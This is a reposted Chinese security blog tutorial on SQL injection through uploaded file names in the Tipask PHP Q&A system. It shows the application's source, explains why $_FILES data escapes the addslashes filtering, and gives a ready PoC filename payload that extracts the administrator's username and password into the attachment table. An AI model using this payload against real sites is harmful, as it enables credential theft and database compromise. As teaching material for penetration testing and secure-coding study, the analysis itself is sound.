技术笔记

SQL注入详解 第四集(FILES注入)【附源码】

字号+ 作者:sqler 来源:转载 2016-12-12 15:09 我要评论( )

0x01前言 今天讲讲FILES注入,这个跟一般的妖艳贱货是有一点区别的,大家做 渗透测试 的时候,可以试试这种思路 0x02正文 FILES注入一般情况是是因为上传时把上传......

0x01  前言
        今天讲讲FILES注入,这个跟一般的妖艳贱货是有一点区别的,大家做渗透测试的时候,可以试试这种思路

0x02  正文
        FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里我们找个案例来讲,就tipask吧

首先我们看看index.php
[AppleScript] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
<?php
/*the tipask entrance */
error_reporting(0);
set_magic_quotes_runtime(0);
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('IN_TIPASK', TRUE);
define('TIPASK_ROOT', dirname(__FILE__));
define('SITE_URL','http://'.$_SERVER['HTTP_HOST'].substr($_SERVER['PHP_SELF'],0,-9) );
include TIPASK_ROOT.'/model/tipask.class.php';   //跟进
$tipask = new tipask();
$tipask->run();
 
?>

跟进去看看全局是怎么处理的
[AppleScript] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
 
!defined('IN_TIPASK') && exit('Access Denied');
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
require TIPASK_ROOT . '/lib/db.class.php';
require TIPASK_ROOT . '/lib/global.func.php';
require TIPASK_ROOT . '/lib/cache.class.php';
require TIPASK_ROOT . '/model/base.class.php';
 
class tipask {
 
    var $get = array();
    var $post = array();
    var $vars = array();
 
    function tipask() {
        $this->init_request();
        $this->load_control();
    }
 
    function init_request() {
        global $urlmap;
        if (!file_exists(TIPASK_ROOT . '/data/install.lock')) {
            header('location:install/index.php');
            exit();
        }
        require TIPASK_ROOT . '/config.php';
        header('Content-type: text/html; charset=' . TIPASK_CHARSET); //给浏览器识别,sbie6
        $querystring = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
        $pos = strpos($querystring, '.');
        if ($pos !== false) {
            $querystring = substr($querystring, 0, $pos);
        }
        /* 处理简短url */
        $pos = strpos($querystring, '-');
        ($pos !== false) && $querystring = urlmap($querystring);
 
        $andpos = strpos($querystring, "&");
        $andpos && $querystring = substr($querystring, 0, $andpos);
        $this->get = explode('/', $querystring);
        if (empty($this->get[0])) {
            $this->get[0] = 'index';
        }
        if (empty($this->get[1])) {
            $this->get[1] = 'default';
        }
        if (count($this->get) < 2) {
            exit(' Access Denied !');
        }
        unset($GLOBALS, $_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS);
 
        $this->get = taddslashes($this->get, 1);
        $this->post = taddslashes(array_merge($_GET, $_POST));
        checkattack($this->post, 'post');
        checkattack($this->get, 'get');
        unset($_POST);
    }
 
    function load_control() {
        $controlfile = TIPASK_ROOT . '/control/' . $this->get[0] . '.php';
        $isadmin = ('admin' == substr($this->get[0], 0, 5));
        $isadmin && $controlfile = TIPASK_ROOT . '/control/admin/' . substr($this->get[0], 6) . '.php';
        if (false === @include($controlfile)) {
            $this->notfound('control file "' . $controlfile . '" not found!');
        }
    }
 
    function run() {
        $controlname = $this->get[0] . 'control';
        $control = new $controlname($this->get, $this->post);
        $method = 'on' . $this->get[1];
        if (method_exists($control, $method)) {
            $regular = $this->get[0] . '/' . $this->get[1];
            $isajax = (0 === strpos($this->get[1], 'ajax'));
            if ($control->checkable($regular) || $isajax) {
                $control->$method();
            } else {
                $control->message('您无权进行当前操作,原因如下:<br/> 您所在的用户组(' . $control->user['grouptitle'] . ')无法进行此操作。', 'user/login');
            }
        } else {
            $this->notfound('method "' . $method . '" not found!');
        }
    }
 
    function notfound($error) {
        @header('HTTP/1.0 404 Not Found');
        exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><p> $error </p></body></html>");
    }
 
}
 
?>

通过分析,可以看到这里对GET请求与POST请求做了addslashes转义,之前讲宽字符注入提过addslashes函数,这时候,我们应该怎么做呢?
一般这时候,我们就可以搜索全局函数  
$_FILES

因为$_FILES并没有被addslashes函数转义
我们通过搜索$_FILES传点  /control/attach.php

继续看他代码
[AppleScript] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
 
!defined('IN_TIPASK') && exit('Access Denied');
 
class attachcontrol extends base {
 
    function attachcontrol(& $get, & $post) {
        $this->base(& $get, & $post);
        $this->load('attach');
    }
 
    function onupload() {
//上传配置
        $config = array(
            "uploadPath" => "data/attach/", //保存路径
            "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
            "fileSize" => 10 //文件大小限制,单位MB
        );
 
//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
        $state = "SUCCESS";
        $fileName = "";
        $path = $config['uploadPath'];
        $clientFile = $_FILES["upfile"];
        if (!isset($clientFile)) {
            echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
            exit;
        }
 
//格式验证
        $current_type = strtolower(strrchr($clientFile["name"], '.'));
        if (!in_array($current_type, $config['fileType'])) {
            $state = "不支持的文件类型!";
        }
//大小验证
        $file_size = 1024 * 1024 * $config['fileSize'];
        if ($clientFile["size"] > $file_size) {
            $state = "文件大小超出限制!";
        }
//保存文件
        if ($state == "SUCCESS") {
            $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
            $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
            if (!$result) {
                $state = "文件保存失败!";
            } else {
                $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
            }
        }
//向浏览器返回数据json数据
        echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"'.$clientFile["name"] .'"}';
    }
 
    function onuploadimage() {
        //上传配置
        $config = array(
            "uploadPath" => "data/attach/", //保存路径
            "fileType" => array(".gif", ".png", ".jpg", ".jpeg", ".bmp"),
            "fileSize" => 2048
        );
        //原始文件名,表单名固定,不可配置
        $oriName = htmlspecialchars($this->post['fileName'], ENT_QUOTES);
 
        //上传图片框中的描述表单名称,
        $title = htmlspecialchars($this->post['pictitle'], ENT_QUOTES);
 
        //文件句柄
        $file = $_FILES["upfile"];
 
        //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜并显示在图片预览框,同时可以在前端页面通过回调函数获取对应字符窜
        $state = "SUCCESS";
        //格式验证
        $current_type = strtolower(strrchr($file["name"], '.'));
        if (!in_array($current_type, $config['fileType'])) {
            $state = $current_type;
        }
        //大小验证
        $file_size = 1024 * $config['fileSize'];
        if ($file["size"] > $file_size) {
            $state = "b";
        }
        //保存图片
        if ($state == "SUCCESS") {
            $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($file["name"], '.');
            $result = $_ENV['attach']->movetmpfile($file, $targetfile);
            if (!$result) {
                $state = "c";
            } else {
                $_ENV['attach']->add($file["name"], $current_type, $file["size"], $targetfile);
            }
        }
        echo "{'url':'" . $targetfile . "','title':'" . $title . "','original':'" . $oriName . "','state':'" . $state . "'}";
    }
 
}
 
?>

可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。
这样的话那我们就可以构造poc了
[AppleScript] 纯文本查看 复制代码
?
1
filename="1','.php',1,(select concat(username,0x7e,password) from ask_user limit 1),2,1)"#.jpg

这样我们就能将管理员账户密码插入到attach表中

下面附源码
有兴趣的可以自己搭建环境测试

0x03  我是源码
链接: https://pan.baidu.com/s/1eSE8qEe 密码: nz3s


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/382.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 转大表哥安全狗SQL注入语句(176处)

    转大表哥安全狗SQL注入语句(176处)

    2017-12-05 13:47

  • Mysql注入点在limit关键字后面的利用方法

    Mysql注入点在limit关键字后面的利用方法

    2016-12-18 15:06

  • 一个罕见的MSSQL注入漏洞案例

    一个罕见的MSSQL注入漏洞案例

    2016-12-18 15:03

  • MongoDB注入笔记

    MongoDB注入笔记

    2016-12-13 15:32

网友点评
暂时未开启评论功能~